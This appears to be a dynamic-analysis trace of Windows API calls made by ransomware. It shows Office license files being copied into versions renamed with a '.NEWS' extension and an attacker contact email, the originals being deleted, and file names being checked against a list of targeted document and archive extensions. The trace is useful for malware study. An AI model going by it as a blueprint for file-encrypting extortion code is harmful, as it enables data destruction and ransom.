[0177.874] GetLastError () returned 0x0 [0177.874] ReadFile (in: hFile=0x550, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x2d3d, lpOverlapped=0x0) returned 1 [0177.878] WriteFile (in: hFile=0x51c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0177.879] ReadFile (in: hFile=0x550, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.879] WriteFile (in: hFile=0x51c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x108, lpOverlapped=0x0) returned 1 [0177.879] SetEndOfFile (hFile=0x51c) returned 1 [0177.879] CloseHandle (hObject=0x51c) returned 1 [0177.879] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.880] SetEndOfFile (hFile=0x550) returned 1 [0177.883] CloseHandle (hObject=0x550) returned 1 [0177.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0177.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 1 [0177.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0177.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0177.885] lstrlenW (lpString=".doc") returned 4 [0177.885] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0177.885] lstrlenW (lpString=".docx") returned 5 [0177.885] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0177.885] lstrlenW (lpString=".pdf") returned 4 [0177.885] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0177.885] lstrlenW (lpString=".xls") returned 4 [0177.885] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0177.885] lstrlenW (lpString=".xlsx") returned 5 [0177.885] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0177.885] lstrlenW (lpString=".ppt") returned 4 [0177.885] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0177.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0177.885] lstrlenW (lpString=".zip") returned 4 [0177.885] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0177.885] lstrlenW (lpString=".rar") returned 4 [0177.885] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0177.885] lstrlenW (lpString=".bz2") returned 4 [0177.885] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0177.886] lstrlenW (lpString=".7z") returned 3 [0177.886] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0177.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0177.886] lstrlenW (lpString=".dbf") returned 4 [0177.886] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0177.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0177.886] lstrlenW (lpString=".1cd") returned 4 [0177.886] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0177.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0177.886] lstrlenW (lpString=".jpg") returned 4 [0177.886] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0177.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0177.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0177.886] lstrlenW (lpString=".doc") returned 4 [0177.886] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0177.886] lstrlenW (lpString=".docx") returned 5 [0177.886] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0177.886] lstrlenW (lpString=".pdf") returned 4 [0177.886] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0177.886] lstrlenW (lpString=".xls") returned 4 [0177.886] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0177.886] lstrlenW (lpString=".xlsx") returned 5 [0177.886] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0177.886] lstrlenW (lpString=".ppt") returned 4 [0177.886] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0177.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0177.886] lstrlenW (lpString=".zip") returned 4 [0177.886] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0177.886] lstrlenW (lpString=".rar") returned 4 [0177.886] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0177.886] lstrlenW (lpString=".bz2") returned 4 [0177.886] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0177.886] lstrlenW (lpString=".7z") returned 3 [0177.887] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0177.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0177.887] lstrlenW (lpString=".dbf") returned 4 [0177.887] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0177.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0177.887] lstrlenW (lpString=".1cd") returned 4 [0177.887] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0177.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0177.887] lstrlenW (lpString=".jpg") returned 4 [0177.887] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0177.887] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0177.887] lstrlenW (lpString="AccessVL_MAK-ul-phn.xrm-ms") returned 26 [0177.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0177.889] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=19926) returned 1 [0177.889] CloseHandle (hObject=0x550) returned 1 [0177.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 0x220 [0177.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0177.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0177.890] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.890] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0177.891] GetLastError () returned 0x0 [0177.891] ReadFile (in: hFile=0x550, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x4dd6, lpOverlapped=0x0) returned 1 [0177.895] WriteFile (in: hFile=0x51c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0177.896] ReadFile (in: hFile=0x550, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.896] WriteFile (in: hFile=0x51c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x108, lpOverlapped=0x0) returned 1 [0177.896] SetEndOfFile (hFile=0x51c) returned 1 [0177.897] CloseHandle (hObject=0x51c) returned 1 [0177.897] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.897] SetEndOfFile (hFile=0x550) returned 1 [0178.005] CloseHandle (hObject=0x550) returned 1 [0178.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0178.006] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 1 [0178.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0178.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0178.007] lstrlenW (lpString=".doc") returned 4 [0178.007] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0178.007] lstrlenW (lpString=".docx") returned 5 [0178.007] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0178.007] lstrlenW (lpString=".pdf") returned 4 [0178.007] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0178.007] lstrlenW (lpString=".xls") returned 4 [0178.007] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0178.007] lstrlenW (lpString=".xlsx") returned 5 [0178.007] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0178.007] lstrlenW (lpString=".ppt") returned 4 [0178.008] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0178.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0178.008] lstrlenW (lpString=".zip") returned 4 [0178.008] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0178.008] lstrlenW (lpString=".rar") returned 4 [0178.008] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0178.008] lstrlenW (lpString=".bz2") returned 4 [0178.008] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0178.008] lstrlenW (lpString=".7z") returned 3 [0178.008] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0178.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0178.008] lstrlenW (lpString=".dbf") returned 4 [0178.008] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0178.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0178.008] lstrlenW (lpString=".1cd") returned 4 [0178.008] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0178.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0178.008] lstrlenW (lpString=".jpg") returned 4 [0178.008] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0178.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0178.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0178.008] lstrlenW (lpString=".doc") returned 4 [0178.008] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0178.008] lstrlenW (lpString=".docx") returned 5 [0178.008] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0178.008] lstrlenW (lpString=".pdf") returned 4 [0178.008] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0178.009] lstrlenW (lpString=".xls") returned 4 [0178.009] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0178.009] lstrlenW (lpString=".xlsx") returned 5 [0178.009] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0178.009] lstrlenW (lpString=".ppt") returned 4 [0178.009] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0178.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0178.009] lstrlenW (lpString=".zip") returned 4 [0178.009] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0178.009] lstrlenW (lpString=".rar") returned 4 [0178.009] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0178.009] lstrlenW (lpString=".bz2") returned 4 [0178.009] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0178.009] lstrlenW (lpString=".7z") returned 3 [0178.009] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0178.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0178.009] lstrlenW (lpString=".dbf") returned 4 [0178.009] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0178.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0178.009] lstrlenW (lpString=".1cd") returned 4 [0178.009] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0178.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0178.009] lstrlenW (lpString=".jpg") returned 4 [0178.009] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0178.009] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0178.009] lstrlenW (lpString="client-issuance-bridge-office.xrm-ms") returned 36 [0178.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0178.011] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=3211) returned 1 [0178.011] CloseHandle (hObject=0x550) returned 1 [0178.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 0x220 [0178.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0178.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0178.011] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.011] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0178.012] GetLastError () returned 0x0 [0178.012] ReadFile (in: hFile=0x550, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0xc8b, lpOverlapped=0x0) returned 1 [0178.403] WriteFile (in: hFile=0x51c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xc90, lpOverlapped=0x0) returned 1 [0178.487] ReadFile (in: hFile=0x550, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.487] WriteFile (in: hFile=0x51c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x11c, lpOverlapped=0x0) returned 1 [0178.487] SetEndOfFile (hFile=0x51c) returned 1 [0178.517] CloseHandle (hObject=0x51c) returned 1 [0178.521] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.522] SetEndOfFile (hFile=0x550) returned 1 [0178.529] CloseHandle (hObject=0x550) returned 1 [0178.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0178.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 1 [0178.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0178.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0178.845] lstrlenW (lpString=".doc") returned 4 [0178.845] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0178.845] lstrlenW (lpString=".docx") returned 5 [0178.845] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0178.845] lstrlenW (lpString=".pdf") returned 4 [0178.845] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0178.845] lstrlenW (lpString=".xls") returned 4 [0178.845] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0178.845] lstrlenW (lpString=".xlsx") returned 5 [0178.845] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0178.845] lstrlenW (lpString=".ppt") returned 4 [0178.846] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0178.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0178.846] lstrlenW (lpString=".zip") returned 4 [0178.846] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0178.846] lstrlenW (lpString=".rar") returned 4 [0178.846] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0178.846] lstrlenW (lpString=".bz2") returned 4 [0178.846] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0178.846] lstrlenW (lpString=".7z") returned 3 [0178.846] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0178.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0178.846] lstrlenW (lpString=".dbf") returned 4 [0178.846] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0178.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0178.846] lstrlenW (lpString=".1cd") returned 4 [0178.846] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0178.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0178.846] lstrlenW (lpString=".jpg") returned 4 [0178.846] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0178.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0178.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0178.846] lstrlenW (lpString=".doc") returned 4 [0178.847] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0178.847] lstrlenW (lpString=".docx") returned 5 [0178.847] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0178.847] lstrlenW (lpString=".pdf") returned 4 [0178.847] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0178.847] lstrlenW (lpString=".xls") returned 4 [0178.847] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0178.847] lstrlenW (lpString=".xlsx") returned 5 [0178.847] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0178.847] lstrlenW (lpString=".ppt") returned 4 [0178.847] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0178.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0178.847] lstrlenW (lpString=".zip") returned 4 [0178.847] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0178.847] lstrlenW (lpString=".rar") returned 4 [0178.847] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0178.847] lstrlenW (lpString=".bz2") returned 4 [0178.847] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0178.847] lstrlenW (lpString=".7z") returned 3 [0178.847] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0178.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0178.847] lstrlenW (lpString=".dbf") returned 4 [0178.847] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0178.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0178.847] lstrlenW (lpString=".1cd") returned 4 [0178.847] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0178.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0178.848] lstrlenW (lpString=".jpg") returned 4 [0178.848] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0178.848] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0178.848] lstrlenW (lpString="client-issuance-root.xrm-ms") returned 27 [0178.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0178.850] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=3103) returned 1 [0178.851] CloseHandle (hObject=0x4e8) returned 1 [0178.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 0x220 [0178.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0178.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0178.852] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.852] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 